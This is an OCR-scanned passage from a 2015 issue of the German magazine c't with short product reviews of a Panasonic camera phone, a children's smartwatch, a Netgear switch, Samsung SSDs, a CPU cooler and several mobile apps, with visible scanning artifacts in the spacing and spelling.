Das Panasonie DMC-CM 1 wi l l  
Android-Smartphone und zugleich 
hochwertige Kompaktkamera sein .  

Das  Android-Smartphone Panasonie DMC­
CM l richtet sich kla r  an  Foto-Enthusiasten: 
Es hat ein Leica-Objektiv mit einer Licht­
stä rke von 1 /2.8, e iner Festbrennweite von 
28 mm und manue l lem E instel l ri ng .  Der 
1 Zo l l  g roße Bi ldsensor ist besonders l icht­
empfind l ich und erfasst 20 MegapixeL 

Die ed le Ausstattung zah l t  sich aus :  
Fotos zeigen (unter 5 Lux, ISO 3200) kaum 
Rauschen, dafü r  abe r  vie le Deta i l s .  Fa rben 
werden natür l ich wiedergegeben. Der 
d rehba re Meta l l ri ng  am Objektiv steuert 
Versch lusszeit, B lende oder ISO. 4k-Videos 
rucke ln  kräftig, da die Kamera s ie nur mit 
1 5  fps aufn immt; F u i i HD-Videos d reht sie 
mit 30 fps. 

Die Smartphone-Ausstattung ist eben­
fa l l s  hochwertig :  schne l ler  Quad-Core-Pro­
zessor, L TE und scha rfes Display. Letzteres 
ist aber mit 277 cd/m2 He l l i gkeit bei Son­
nenschein kaum noch ab lesbar. 

Nachtei le  hat das Hybrid-Konzept den­
noch: Das spezie l le  Objektiv macht das Ge­
häuse so d ick, dass es nur schwer i n  d ie Ho­
sentasche passt. Auch vermisst man ein 
Stativgewinde und einen vol lwertigen B l itz. 
Größter Nachtei l  ist jedoch der Preis von 
900 Eu ro. Ein verg le ichba res H igh-End­
Smartphone i n  Kombinat ion mit e iner 
hand l ichen Digita l kamera kostet rund 200 
Eu ro weniger .  B is lang ist das Panasonie 
DMC-CMl  nur i n  Foto-Fachgeschäften er­
hä lt l ich .  (hcz@ct.de) 

Panasonie DMC-CM 1 
Smart Camera 

Android-Smartphone 

Android-Version 
Abmessungen I Gewicht 

Display 

Prozessor I Kerne I Takt 

Arbeitsspeicher I Flash-Spei­
cher (verfügbar) I SD-Karte 

Aufiösung Haupt- I 
Frontkamera 
Preis 

66 

4.4.4 
1 3,5 cm x 6,8 cm x 2,1 cm / 202 g 

4,7 Zoll, 1 920 X 1 080 (472 dpi), 
277 cd/m2 
Quakomm Snapdragon 801 I 4/ 
2,3 GHz 
2 GByte I 16 GByte (1 1 ,04 GByte) I 
MicroSDXC 

5472 X 3648 (20 MPixel) I 
3840 X 2160 
900 € 

Meine erste Computeruhr 

Mit der "Kidizoom Smart Watch" 
verspricht VTech "eine coole Uhr fü r 
smarte Kids". 

Wer seinem Kind die Kid izoom als erste Uhr  
kauft, macht n ichts fa lsch: Das  in  verschie­
denen Fa rben erhält l iche Model l  mit robus­
tem P last ikgehäuse bietet a uf seinem 
3,66 cm du rchmessenden fa rbigen LC­
Touchdisp lay ( 1 28 x 1 28 Pixel) sehr vie le, 
gut ab lesbare analoge und digita le  Ziffern­
blätter. Recht sicher ist für jeden Geschmack 
etwas dabei. H inzu kommen Stoppuhr, 
Timer und Wecker sowie d rei Games (Ge­
dächtnistra in i ng, Reaktionsspiel und Dreh­
puzzle) . Letztere sind mit recht dudel iger 
Mus ik und etwas anstrengenden Sound­
effekten h interlegt; dankenswerterweise 
lässt sich die Lautstä rke aber regu l ieren. 

E ine eingebaute Kamera samt Mikrofon 
ermögl icht Fotos, maxima l  e inminüt ige 
MJPEG-Videos und rei ne Sprachaufnah­
men. Die fert igen Werke lassen sich auf der 
Uhr wiedergeben und mit verschiedenen 
F i ltern bearbeiten .  Alternat iv überspie lt 
man sie aus  dem 1 28-MByte-Speicher über 
d ie USB-Buchse auf einen Rechner; d ie Uh r  
meldet sich dabei a l s  Wechselspeicher an .  
E ine  ausgewachsene Sma rtwatch i s t  d ie Ki­
d izoom nicht, da es weder eine Handyfunk­
tion g ibt noch sich zusätzl iche Apps auf der 
Computeruh r  insta l l ieren lassen. Dafü r 
schlägt das Kindermode l l  viele der g roßen 
Brüder beim Thema Akku : Der ist hier 
wechse lbar, lässt s ich einfach über d ie er­
wähnte USB-Buchse aufladen und reicht ­
dank (rege lba rer) B i ldschirmabscha ltung -
fü r eine Laufzeit von mehreren Tagen. 

Die rund 50 Euro teure Kidizoom Smart 
Watch dü rfte vor a l l em kle ineren Kindern 
gefa l len .  Älterer Nachwuchs stört sich h in­
gegen schne l l  an  der S impl izität der Spie le 
und der äußert mäßigen Qua l ität der Auf­
nahmen. (nij@ct.de) 

Kidizoom Smart Watch 
Kinder-Smartwatch 

Herstel ler Vtech, www.vtech.de 
maximale Aufiösung Foto: 0,3 MPixel, Video: 320 x 240 Pixel 

bei 15 fps 
Altersempfehlung 5 bis 12 Jahre 
Preis 50 € 

1 OG-Firmen-Switch 

Netgears S3300er-Switches binden 
WLAN-Basen und I P-Telefone n icht 
nur ins  LAN ein, sondern versorgen 
sie optiona l  auch m it Energie. 

Mit e inem Einstandspreis von weniger a ls 
600 Euro fü r das Basismode l l  s ind d ie 
S3300er-Switches interessant, wenn das F i r­
men-LAN wächst und fü r d ie Verbindung 
zum Kernnetz gebündelte Gigabit-Ethernet­
L inks (GE) nicht mehr ausreichen. Die 
Switch-Serie S3300 g ibt es mit 24 oder 48 
GE-Ports, optiona l  zur Energieversorgung 
von WLAN-Basen oder  I P-Telefonen auch 
mit PoE+ ( IEEE 802.3at, max. 30 Watt) . Wenn 
d ie 1 0-Gigabit/s-Ports n icht  a l s  Up l i nk  ins  
Kernnetz dienen, kann  man darüber bis zu 
sechs Switches zu e inem gemeinsam ver­
wa lteten Stack zusammenfassen. ln d ie bei­
den SFP+-Ports passen auch dedizierte Sta­
cking-Kabel (Di rect Attach), die man wie die 
1 OGBase-T-Ports bündeln kann .  

Ethernet-AVB (Aud ioNideo Bridg ing, 
c't 1 3/1 3, S. 1 76) und Spezia l itäten wie Un­
terstützung für das Precision Time Protocol 
( IEEE 1 588) oder automatische VLAN-Konfi­
guration per MVRP sind optional per EAV-Li­
zenz erhält l ich, die je nach Modell 2 1 8  oder 
384 Euro kostet. Das EAV-Paket funktioniert 
nur, wenn Stacking nicht aktiv ist. Für F i rmen 
essenzie l le Funktionen bringen die S3300er­
Switches dagegen ab Werk mit, etwa VLANs 
mit automatischer Zuordnung von Voi P­
und Video-Verkehr oder Cl ient-Authentifizie­
rung per RADIUS/TACACS+ und viele wei­
tere. Das lässt sich a l les auf übersichtl ichen 
Webseiten per Browser konfigurieren. Spar­
sam sind die S3300er auch: Mit aktiviertem 
Energy Efficient Ethernet (EEE) sank die Leis­
tungsaufnahme unseres Musters ein gutes 
Stück. (ea@ct.de) 

S3300-28X-PoE+ (GS728TXP) 
Konfigurierbarer Gigabit-Switch 

Herstel ler 

Bedien­
elemente 
Anschlüsse 

Leistungs­
aufnahme 
Preis 

Netgear, www.netgear.de 

Reset, Werkseinstel lung, 3 + 2 + 24 x 2 Status­
leuchten, 7-Segment-Anzeige (Stack I D) 
26 x RJ45 (24 x Gigabit-Ethernet, 2 x 1 0GBase-T). 
2 x SFP+, optional redundantes Netzteil 
21 ,7 I 27,5 Watt (25 Ports aktiv, mit/ohne EEE, 
kein T raffic, keine PoE-Abgabe) 
1 027 € (583 € ohne PoE, GS728TX) 
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HQ-Einstieg 

Sonys jüngster Wal kman verspricht 
H igh-End-Sound zu m Einstiegspreis. 

Rein äußerl ich macht Sonys Wa lkman NWZ­
A 1 5  wenig Staat: Mit 1 1  cm x 4,3 cm Kanten­
länge erinnert der 8 mm d icke Player im Alu­
Gehäuse an iPods längst vergangener Tage. 
Auch das hochkant verbaute QVGA-Display 
ohne Touch lockt n iemanden h inter dem 
Ofen hervor. E in gü ldenes H iRes-Kiebchen 
auf der F ront weist auf innere Werte hin :  Der 
NWZ-A 1 5  versteht sich auf die Wiedergabe 
von HQ-Musik mit hoher Abtastrate. 

ln der Packung fi ndet sich außer dem 
Player ledigl ich ein USB-Kabel .  Der Wa lkman 
lässt sich wah lweise di rekt a ls  USB-Massen­
speicher oder über die auf dem Player abge­
legte Transfer-Software Media Go mit Musik 
befü l len. Auf Mac-OS- und Windews-Syste­
men erlaubt sie das Grabben von CDs, sowie 
das Verwa lten und Übertragen von Mus ik, 
Fotos, Videos und Podcasts. Der P layer ist 
mit 1 6  GByte F lash-Speicher bestückt. Über 
einen SD-Ka rteneinschub  lässt er sich im­
merhin bequem mit bis zu 1 28 GByte Spei­
cher erweitern. 

Der NWZ-A 1 5  spielt komprimierte Musik 
im MP3, AAC und WMA-Format. Mit Apple 
Lossless Audio oder FLAC ver lustfrei kompri­
mierte Musik und unkomprimierte PCM-Titel 
(AI FF  oder WAV) g ibt er ebenfa l l s  wieder 
und kann WAV- und FLAC-Dateien dabei mit 
Abtastraten bis 1 92 kHz abspielen. Der Klang 
ist sauber, mit 0,3 V ist der maximale Aus­
gangspegel a l lerdings nicht besonders 
hoch. Auch per B luetooth A2DP gekoppelte 
Kopfhörer sind etwas leiser a ls  üb l ich. 

Kla ngl ich kann der kle ine mit deutl ich 
teu reren HO-Spielern wie dem Wa lkman 
NWZ-ZX1 nicht ganz mithalten. Mit 200 Euro 
bietet er dafü r  den derzeit günstigsten Ein­
stieg in die Weit der HQ-Musik. Schade, dass 
die 64-GByte-Va ria nte NWZ -A 1 7  dem US­
Markt vorbehalten bleibt. (sha@ct.de) 

NWZ-A1 5 
HQ·Walkman 

Herstel ler Sony, www.sony.de 

Ausstattung SD-Karteneinschub, Bluetooth (A2DP, Apt-X) 
Laufzeit 48 h 
Preis 200 € 

c't 20 1 5, Heft 5 

kurz vorgestel lt I HQ-Audio-Wa lkman, iPad-Stift, Funkschalter 

Pixel-Tatsch 

Der iPad-Stift "Adonit Jot Touch with 
Pixelpoint" g ibt die Druckstärke an 
Apps weiter und wi l l  ihnen dabei 
helfen, Handbal len und Stiftspitze zu 
u nterscheiden. 

Wie der l ntuos Creative Styl us  2 und  der 
Bamboo Styl us  F ine l ine von Wacom (c't 
1 /1 5, S. 53) besitzt auch der ,.Jot Touch with 
Pixe lpoint" von Adonit eine Hartplastikspit­
ze. Wie bei der Konkurrenz wi rd auch d iese 
Spitze ih rem Namen mit einem Durchmes­
ser von d rei Mi l l imetern tatsächl ich gerecht 
- das hat bei iOS Seltenheitswert. 

Der fest eingebaute Akku des Jot Touch 
wird über einen USB-Dong le aufgeladen.  
Dazu rastet das Stiftende in  einer magneti­
schen Ein lassung des Dongles ein. Der Mag­
net hält den Stift auch bei verti ka len USB­
Ports fest. Verlegt man den Dongle, lässt 
sich der Stift a l lerd ings nicht mehr aufladen. 
Das hat Wacom mit seinem ins Stiftende in­
tegrierten Micro-USB-Stecker besser gelöst. 

Davon abgesehen wirkt der Jot Touch wie 
eine Mischung aus den beiden Wacom-Cou­
sins: g leiche Länge, Druckstufenübermitt­
l ung über B luetooth 4.0, zwei Seitentasten 
wie beim l ntuos-Stylus, dank einer Fase an  
de r  Spitze so  dünn wie de r  Bamboo Finel ine. 

Leider leidet der Jot Touch auch an den­
selben Schwächen: Nur wenige Apps unter­
stützen den Stift vol l ständig. Am iPad Air 2 
funktioniert d ie Handba l l enerkennung nu r  
sporadisch, was einem App-Entwickler zufol­
ge an  der Hardware l iegt (siehe c't-Link). Un­
terstützt eine App den Stift nicht d i rekt, 
haben Striche bei schräg geha ltenem Stift 
bis zu drei Mi l l imeter Versatz zur Stiftspitze. 

Wie die Wacom-Stifte b le ibt a uch der Jot 
Touch weit h i nter dem zurück, was iOS­
Anwender von Stifteingabe erwarten .  

(ghi@ct.de) 

c't Keine Handba l lenerkennung i n  
Procreate: ct.de/yqnb 

Jot Touch with Pixel point 
Druckempfindlidler iPad·Stift 

Herstel ler Adonit, www.adonit.net 
Systemvoraussetzungen iPad 3, i Pad mini 
Preis 1 00 US-Dollar (Straße: 93 €) 

Licht unter Kontrolle 

Der Swiid Cord Switch ersetzt den 
Sch nurscha lter e iner Lam pe und 
lässt s ich  ü ber die Funktechn ik  
Z-Wave fernsteuern. 

l n  He imautomationssystemen sorgen ge­
wöhn l ich funkgesteuerte Zwischenstecker 
dafü r, dass sich Lampen aus der Ferne ein­
und ausschalten lassen. Das geht aber nur 
so lange gut, bis e in unbedarfter Besucher 
die Lampe über deren eigenen Schnu r­
scha l ter ausscha l tet. Der funkgesteuerte 
Swi id Cord Switch löst das Problem. Es ist 
a l lerd ings  ein rei ner Scha lter; ein D immer 
feh l t  ebenso wie d ie Messung der Leis­
tungsaufnahme.  Entgegen anders la uten­
der  Angaben im I nternet lässt s ich der 
Schalter auch i n  Wohnungen mit Zwei­
d rahtverkabe lung einsetzen. 

Wie fü r e in netzbetriebenes Z -Wave­
Gerät üb l ich funktioniert das in F rankreich 
als Swi id l nter vermarktete Gerät als Repea­
ter. Die E inbindung in  unser Testsystem ( ln­
digo-6-Server auf Mac mit Aeontech Z-Stick 
2) klappte auf Anhieb. Der Schalter meldet 
über die Hauptverbindung aber keine Sta­
tuswechsel zum Contro l ler. in unserem Test­
aufbau funktionierte das erst, a l s  wir auch 
seine zweite Assoziationsg ruppe mit dem 
Contro l ler  verbanden. Dieser Tr ick klappt 
aber eventuel l  nicht mit jedem Gateway. 

Bei d i rekter Verknüpfung mit Z-Wave­
Geräten sol l  ein längerer Druck des Knopfes 
eine zweite Aktion auslösen. i n  Verbindung 
mit einem primären Contro l le r  ge lang uns 
d ie  Nutzung d ieser Funktion n icht, d ie  
Dokumentation ha l f  n icht  weiter. Trotzdem 
ist der Swi id Cord Switch eine nützl i che, 
wenn auch recht teure Ergänzung fü r d ie  
vernetzte Wohnung .  (nij@ct.de) 

Swiid Cord Switch 
Funkgesteuerter Sehnursmalter 

Herstel ler CBCC Domotique, www.swiid.com 
Funk Z-Wave (868,42 MHz für EU), 

max. 30 m in Gebäuden 
max. Leistungsauf- 660 Watt 
nahme Lampe (laut Herstel ler) 
eigene Leistungsaufnahme 0,2 Watt 
Abmessungen 8,4 cm x 3,2 cm x 2,9 cm 
Preis 80 € ( Import inkl .  Versand) 
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kurz vorgestel lt  I Prozessorkühler, externe SSD, M.2-SSD mit PCie 3.0 

Leiser Gigant 

Der Prozessorküh ler Macho bewah rt 
auch stromdurstige CPUs leise vor 
dem Ü berh itzen.  

Moderne H igh-End-Prozessoren mit sechs 
oder acht Kernen wie I ntel Core i7  oder 
AMD FX verheizen unter Last weit über 
1 00 Watt. Dennoch sol l e in Rechner auch 
bei Dauer-Vo l l last idea lerweise n icht zu 
hören sein .  Therma l right wi l l  d ieses Di lem­
ma mit dem CPU-Küh le r  Macho Rev.B 
lösen. Die Abwärme leiten sechs Heatpipes 
zu einem Lamel lenstapel, an dem ein g ro­
ßer Lüfter angebracht ist. Im Verg leich zur 
ersten Revis ion des Macho verwendet Ther­
ma l right nun  einen Venti lator mit deut l ich 
n iedrigerer AnfangsdrehzahL  

Wegen der Gesamtmasse von 880 
Gramm stattet Therma l right den Kühler mit 
e iner Schraubha lterung aus .  Bei der Mon­
tage des Befestigungsrahmens sol lte man 
d ie gewünschte Ausrichtung prüfen, denn 
bereits h ier entscheidet s ich, i n  welche 
Richtung der Lüfter b läst. Um den Küh le r  
unfa l lfrei am Rahmen anzuschrauben, i s t  im 
Lieferumfang e in langer Schraubendreher 
mit Magnetspitze enthalten. 

Für die Tests haben wir den Macho in un­
seren Hexa-Core-Bauvorsch lag aus c't 1 /1 5  
eingebaut. Die Kerntemperatu ren des Core 
i7-S930K erreichten unter Vo l l last mit L in­
pack 76 oc.  Dabei musste der Lüfter seine 
Drehzah l  von maximal 1 300 U/min bei Wei­
tem nicht ausschöpfen (800 U/min) und war 
wie im Leerlauf (300 U/min) nur  aus geringer 
Entfernung zu hören (<0,1 Sone). 

Der Macho überzeugt mit hoher Küh l  Ieis­
tung, leisem Lüfter und verg leichsweise un­
kompl izierter Montage. Wegen der Tower­
Bauweise sol lte man den Spannungswand­
lern auf dem Mainboard zusätzl ich einen Ge­
häuselüfter gönnen. (chh@ct.de) 

Macho Rev. B 
Prozessorkühler 

Herstel ler 
Abmessungen (H x B x Tl 
Lüfter 
CPU-Fassungen 

Preis 
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Thermal right, www.thermalright.de 

1 65 mm x 152 mm x 1 29 mm 
140 mm, 4-Pin (PWM) 
LGA775/1 1 50/1 1 55/1 1 56/1 366/201 1 
(·v3), AM213(+), FM1/2(+) 
40 € 

; 

So klein, so schnell 

Samsungs Portable SSD T1 sieht 
aus wie ein etwas zu g roß geratener 
USB-Stick. Bei den Ü bertragungs leis­
tungen hängt sie aber jeden Stick ab. 

Die erste externe SSD von Samsung hat 
schon einen gewissen Schnuckelfaktor: Sie 
ist so breit wie eine Kred itka rte und knapp 
einen Zentimeter kü rzer, das schwarze Ge­
häuse wirkt du rchaus ede l .  Dar in stecken 
ein USB-Wand ler  von ASMedia und eine -
noch nicht erhält l iche - Samsung 850 Evo 
im mSATA-Format mit eigener F i rmware. 

Die SSD ist mit 250 GByte, 500 GByte und 
1 TByte Kapazität erhält l ich. Per USB 3 .0 er­
reicht unser 250 GByte g roßes Testmuster 
Übertragungsraten von bis zu 430 MByte/s ­
die meisten großen USB-Sticks schaffen nur  
rund die Hä lfte. Da das Kunststoffgehäuse 
die Wärme der F lash-Chips nur  schlecht ab­
führen kann, schaltet die SSD bei anha lten­
den Schreibvorgängen herunter. 

Beim ersten Anstecken an e inen Win­
dows- oder Mac-OS-Rechner zeigt die Por­
table SSD Tl ledig l ich e in Laufwerk mit nu r  
wenigen MByte, von dem aus man ein H i lfs­
programm zum Schutz der Daten vor unbe­
rechtigtem Zug riff i nsta l l ieren kann .  Nach 
der E ingabe des r ichtigen Passworts zeigt 
d ie SSD d ie Gesamtkapazität an .  

Vergisst man se in  Passwort, lässt s i ch  d ie 
SSD nu r  mit H i lfe des Samsung-Kunden­
dienstes auf den Werkszustand zurückset­
zen .  Das dazu notwendige H i lfsprogramm 
lässt sich nicht von der Samsung-Webseite 
laden, wie der H i lfetext und die Beschrei­
bung suggerieren. Das sol l  verh indern, dass 
jemand eine "gefundene" SSD nutzen kann.  

Die Portable SSD Tl i st  so klein, dass man 
sie sogar in  der Hosentasche transportieren 
kann; dafü r  ist auch das nur 1 0  Zentimeter 
lange Kabel optima l .  Ein Schnäppchen ist 
sie nicht, aber USB-Sticks mit der g leichen 
Kapazität s ind häufig noch teu rer. ( l l@ct.de) 

Portable SSD T1 
Externe SSD 

Herstel ler 
Größe, Gewicht 
Straßenpreis 

Samsung, www.samsung.de 
71 mm x 53 mm x 9 mm, 25 g (250 GByte) 

1 65 € (250 GByte), 265 € (500 GByte), 
525 € (1 TByte) 

Schneller Streifen 

Als erste SSD im M.2-Format l iefert 
die Samsung SM95 1 mehr  a ls  
2 GByte pro Seku nde - wen n  man 
sie per  PCie 3 .0 x4 ansch l ießt. 

Sol id-State Disks (SSDs) im M.2-Format lö­
sen a l lmäh l ich i h re ähn l ich kompakten 
mSATA-Vorgänger ab .  M.2-SSDs g ibt es mit 
SATA-6G-I nterface, aber auch mit schnel le­
ren PCie-Contro l l ern. Die Samsung SM9S 1 
ist fü r M.2-Fassungen mit vier PCie-3.0-
Lanes gedacht. Damit sind theoretisch 
4 GByte/s mögl ich, was die SM95 1 n icht 
schafft - verständ l icherweise: Die M.2-Bau­
form beschränkt die Anzah l  der NAND-Fia­
shes sowie Stromversorgung und Küh lung .  

Be i  l ange anha ltenden Zugriffen wird d ie  
SM95 1 recht warm. Be im Lesen kommt sie 
mit 2,3 GByte/s immerhin über d ie Grenze 
von PCie 2.0 x4 h inaus und l iefert fast das 
Vierfache der schne l l sten SATA-6G-SSDs. 
Die knapp 1 30 000 IOPS l iegen deut l ich 
über dem, was SATA-SSDs können. Frei l ich 
br ingt das nur bei wenigen Desktop-An­
wendungen Vortei le .  Und nicht a l l e  Main­
boards können von einer M.2-SSD booten. 
Die SM95 1 meldet sich a l s  AHCI-Laufwerk. 

M.2-Fassungen mit PCie-3.0-Lanes fi n­
den s ich bisher nur auf X99-Mainboa rds; 
bei LGA 1 1 50-Boa rds mit M.2-Ansch l uss 
kann  der meistens bloß PCie 2.0 x2. Das 
könnte sich i n  der zweiten Jahreshä lfte mit 
Chipsätzen fü r Skylake-Prozessoren ändern. 
Bis dahin ist d ie SM95 1 nur fü r wenige Sys­
teme attra ktiv, auch wenn  sie mit e inem 
Adapter i n  einen PCie-Siot passt. Da scha­
det es weniger, dass man s ie bisher n i r­
gends kaufen kann, auch Preise s ind noch 
unbekannt. Unser Testexemplar  steckte in 
einer Fujitsu-Workstation. (ciw@ct.de) 

Samsung SM95 1 5 1 2 G Byte 
(MZ-H PVS 1 20) 

M.HSD mit  PCie 3 .0  x4 

Herstel ler 
Datentransferrate sequenziell, 
5 1 2-KByte-Biöcke 
(Schreiben/Lesen) 
IOPS, 4 KByte random 
(Schreiben/Lesen) 

Preis 

Samsung, www.samsung.de 
1 , 1 2/2,26 GBytels 
(1 Thread: 1 ,30/1,67 GByte/si 

1 1 4  890/1 29 493 
(1 Thread: 37 821/40 701)  

noch unbekannt 

c't 201 5, Heft 5 



Bi zServer Startup X2 
Server • Deli PowerE dge T20 

Prozessor • Intel Xeon E3- 1 22 5v3. 

auad- Core 14x 3, 6 CHzl 

Arbeitsspeicher • 32 CB DDR3 E CC RAM 

Festplatten • 2X 2 TB SATA II HDD 17. 2 kl od. 
2x 256 CB Samsung sso· 

Preis 

Server mit 1 00% Markenhardware 
und noch besserer Performance: 
• J ETZT: Deli PowerEdge od . H P  Prol iant Server 

· J ETZT: Intel Xeon CPUs mit bis zu 1 2  cores 

• J ETZT: Bis zu 2x 5 1 2 G B Samsung SSDs 

• J ETZT: Bis zu  64 GB ECC Server RAM 

Advanced X2 
• Deli PowerEdge T20 

• Intel xeon E 3 · 1 2 2 5v3, 

auad-Core 14x 3,6 GHzl 

• 3 2 G B  DDR3 ECC RAM 

• 2x 3 TB SATA II H DD (7 .2kl od. 
2x 5 1 2 G B Sam s u ng SSD 

Enterprise X2 
• HP Prol iant DL 360e Gens 

• Intel Dual xeon ES- 2420 
zzzzz2x 6 Cores mit 2 , 4 GHz max. 

· 64 GB DDR3 E CC RAM 

• 2x 2 TB SATA I I  H DD 17.2kl od. 
2x 51 2 GB Samsung SSD' 

Betriebssysteme · CentOS. Debian ,  Scientific Unux & Ubu ntu kostenlos. Windows Server 20 1 2  R2 Standard gegen Aufpreis 

Anbindung · u nbeg renzter Datentransfer bis 1 GbiVs u nd Serverstandort nach Wahl : E U  oder USA 

Services · Prem ium -Services und kostenloser 0800- Support 
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kurz vorgestel lt  I Video-App mit 4K-Unterstützung, Offl ine-Navigation 

Filmkamera to go 

l n  der Android-App Cinema FV-5 
kan n  man die B i ld rate und die Be­
l ichtu ng von Hand festlegen. Auf 
ausgewäh lten Sa msu ng-Geräten 
funktionieren sogar 4K-Aufnahmen.  

Versucht man mi t  Android-Geräten zu  fi lmen, 
regelt die mitgelieferte Video-App oft die Bild­
rate variabel und entrauscht zu sta rk. Wen 
das stört, der greift zur aktuel l  rund 2 Euro 
teu ren App Cinema FV-5. Sie arbeitet ohne 
Entrauschung, mit konstanten Bi ldraten von 
1 5, 24, 25 oder 30 Bi ldern pro Sekunde und 
fi lmt auf Samsungs Galaxy-Smartphones 55, 
Note 3, Note 4, Note Edge und Alpha sogar 
in  4K-Auflösung (H.264/AVC). 

Das ISO-Feld legt d ie  Lichtempfind l ich­
keit manuel l  oder automatisch fest. Die Ver­
sch l usszeit bestimmt d ie App automatisch. 
Der Anwender kann  sie nu r  ind i rekt über 
d ie  Bel ichtungskorrektur beeinflussen. Bei 
g roßer He l l igkeit nutzt d ie Automatik oft zu 
schne l le  Versch lusszeiten, wodu rch Bewe­
gungen flackern. H ier h i lft es, die Korrektur 
zu he l l  e inzustel len oder e ine Graufi l terfo l ie 
vor d ie L inse zu halten. 

Erfreulicherweise lässt s ich die Belichtungs­
messung im Bi ldmittelpunkt, mit einem per 
Touch wäh lbaren Messpunkt, mittenbetont 
oder für das gesamte Bild gemittelt erledigen. 
Der Weißabgleich a rbeitet automatisch oder 
in  vier Presets und lässt sich fixieren. Das gilt 
auch fü r den Autofokus, der wah lweise auf 
Antippen des Displays reagiert oder eine Ge­
sichtserkennung nutzt. Die Verlagerung der 
Schärfe gegen unendl ich oder ein kontinu­
ierl icher Autofokus funktionierten im Test auf 
einem Galaxy Note 3 nicht. Das Programm 
erkennt externe Mikrofone, e ine Audiopegel­
steuerung fehlt leider. 

Die manue l len E inste l l ungen geben viel 
Kontro l le über die Bi ldanmutung. Dank kon­
stanten B i ldraten gel ingen auch Schwenks 
von he l l en  zu dunkleren Motiven ohne  
Ruckler. (fkn@ct.de) 

c'l: Cinema FV-5 bei Goog le Play: 
ct.de/ytne 

Cinema FV-5 
Video·App mit 4K-Unterstützung 

Herstel ler FGAE, www.cinemafv5.com 

Systemvoraussetzung Android 4.0 
Preis 3,99 € (Rabattaktion: 1 ,99 € )  
kostenlose Version v (nur 720p) 
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Offline-Navi gratis 

Nokia Here leitet Autofahrer 
kosten los und m it Sprachansagen 
durch die ganze Welt. Apps g ibt es 
fü r Android und Windows Phone. 

Früher  behie lt Nokia d ie  Navigations-App 
"Here" den e igenen Smartphones vor. 
Heute bieten die F innen das Prog ramm 
kosten los unter dem Namen  Here Drive+ 
fü r aktue l le Windows Phones ab Version 8 
und  a l s  Here Beta fü r Android-Geräte ab  
Version 4 . 1  an .  Anste l l e  von  fre ien Open­
StreetMap-Ka rten setzen die Apps auf eige­
nes kommerzie l les Materia l .  

Um a uch ohne Datenverb indungen zu  
navig ieren, l aden S ie  Ka rten und  e ine 
Stimme herunter. U nter Android belegt 
Deutsch land rund 1 075 MByte Platz im in­
ternen Speicher oder auf der SO-Karte. Auf 
Windows-Phones genehmigt sich die Ka rte 
621 MByte des Gerätespeichers. 

E in Ziel geben Sie als Adresse, GPS-Koor­
d inaten oder Namen einer E inrichtung ein .  
Der Ka rtenmodus in  der Android-App um­
fasst auch ein Fußgänger-Navi sowie e inen 
P lan fü r öffent l iche Verkehrsmitte l .  Unter 
Windows Phone lagert Nokia beide Funk­
t ionen in sepa rate Here-Apps aus .  Über das 
Verkeh rsaufkommen informieren d ie An­
wendungen i n  Form der geschätzten Ver­
zögerung anhand von Störmeldungen, 
Sensoren und anonymisierten Daten ande­
rer Here-Nutzer. Sie leiten jedoch nicht au­
tomatisch um. Dafü r berechnen beide Apps 
sekundenschnel l  einen neuen Ku rs, soba ld  
man d ie vorgegebene Strecke verlässt. Die 
Android-Version l iest zusätzl ich Straßenna­
men vor (Text-to-Speech), fa l l s  man e ine 
Stimme in  der H iF i -Vers ion herunter lädt. 
Die angezeigten Tempol imits stimmen 
n icht immer mit der Beschi lderung überein; 
das ist bei anderen Navis aber genauso. 

Wer auf eine automatische Stauumle i ­
tung verzichten kann, fi ndet i n  Nokia Here 
eine gute Alternative zu kostenpfl ichtigen 
Navigationssystemen. (fkn@ct.de) 

c'l: Nokia Here fü r Android und Windows 
Phone: ct.de/y9qf 

Nokia Here 
Offline· Navigation 

Herstel ler Nokia, www.here.com 
Systemvoraussetzung Android 4 . 1 ,  Windows Phone 8 
Preis kostenlos 

c't 201 5, Heft 5 



kurz vorgestel lt  I App fü r den Schaltungsentwurf, Foto-App 

Gefühlvoll simulieren 

Multis im Touch ist d ie mobi le 
Ergänzung zu National  I nstruments' 
Desktopprog ramm Mu ltisim.  Die 
App bietet SPICE-S imu lation nach 
Industriestandard per Touch.  

, .  

Auch im Zeita lter von Ardu ino & Co. müs­
sen E lektron i k-Entwickler  manchma l  auf  
d ie Schne l le  ana loge  Scha l tungstei le  ent­
werfen und per S imu lat ion optimieren. Fü r  
Besitzer e ines i Pads  bietet s ich dafü r  Mu l ­
t is im Touch an .  Dank  e i ne r  ge lungenen I n­
teg rat ion von Mu l ti -Touch-Gesten geht 
der Aufbau e iner Scha l tung le icht  von der 
Hand.  Neben g rund legenden passiven 
und aktiven Baute i l en  sowie Strom- und  
Spannungsque l len stehen auch  et l iche i n ­
tera kt ive Komponenten w ie  Potentio­
meter zur  Verfügung, d ie  während der  Si­
mu lat ion die Va r iat ion von Parametern 
er la uben .  

Schaltvorgänge lassen s ich so etwa per 
Schalter aus lösen. Sind a l l e  Bautei le  ver­
d rahtet und mit den richtigen Werten ver­
sehen, entscheidet der Anwender, welche 
Ströme, Spannungen und Phasen da rge­
ste l l t  werden sol len und platziert d ie dazu 
benötigten virtue l len Messfüh ler. S imu l iert 
werden kann  dabei n icht nu r  das Gle ich­
oder Wechselspannungsverhalten der 
Scha l tung :  I nteraktive Kontrol lflächen er­
mögl ichen auch d ie  Va riat ion von Span­
nung, Frequenz und Phase. Scha ltvorgänge 
s ind zusätzl ich per Trans ienten-Ana lyse 
da rste l l bar .  Je nach S imu lat ionsa rt erfo lgt 
d ie Ausgabe optisch ansprechend im Zeit-, 
F requenz oder Phasen-Diag ramm. 

Das sch l ü ss ige Bed ienkonzept und  d ie 
präzise S imu lation machen Mu lt is im Touch 
zu einem nützl ichen Helfer. Übungsprojek­
te und eine ausfüh rl iche H i l fe ermögl ichen 
auch E lektron ik-Anfängern einen schne l len 
E i nstieg. Die App eignet s ich gut  fü r das 
praktische Vermitte l n  von Grund lagen im 
Bereich der ana logen Scha l tungstechn ik. 
National I nstruments unterhält Anwender­
foren und bietet im Web Tutorien und Ku rs­
materia l  mit Anwendungsbeispielen an .  

(Math ias Poets/dwi@ct.de) 

M u ltisim Touch 
App für den Schaltungsentwurf 

Herstel ler National Instruments, www.ni.com 
Systemvoraussetzung iPad mit iOS ab 7.1 
Preis: 2,99 € 

c't 20 1 5, Heft 5 

Mobiles Fotostudio 

VSCO Cam bringt e ine a lternative 
Kamera, B i ldbearbeitu ngswerkzeuge 
sowie Foto-F i lter auf iPhone und 
iPad. 

Anders a ls  d ie  e ingebaute Kamera-App 
kann VSCO Cam Aufnahmen ohne Automa­
t ik anfert igen; Fokuss ierung, Be l ichtungs­
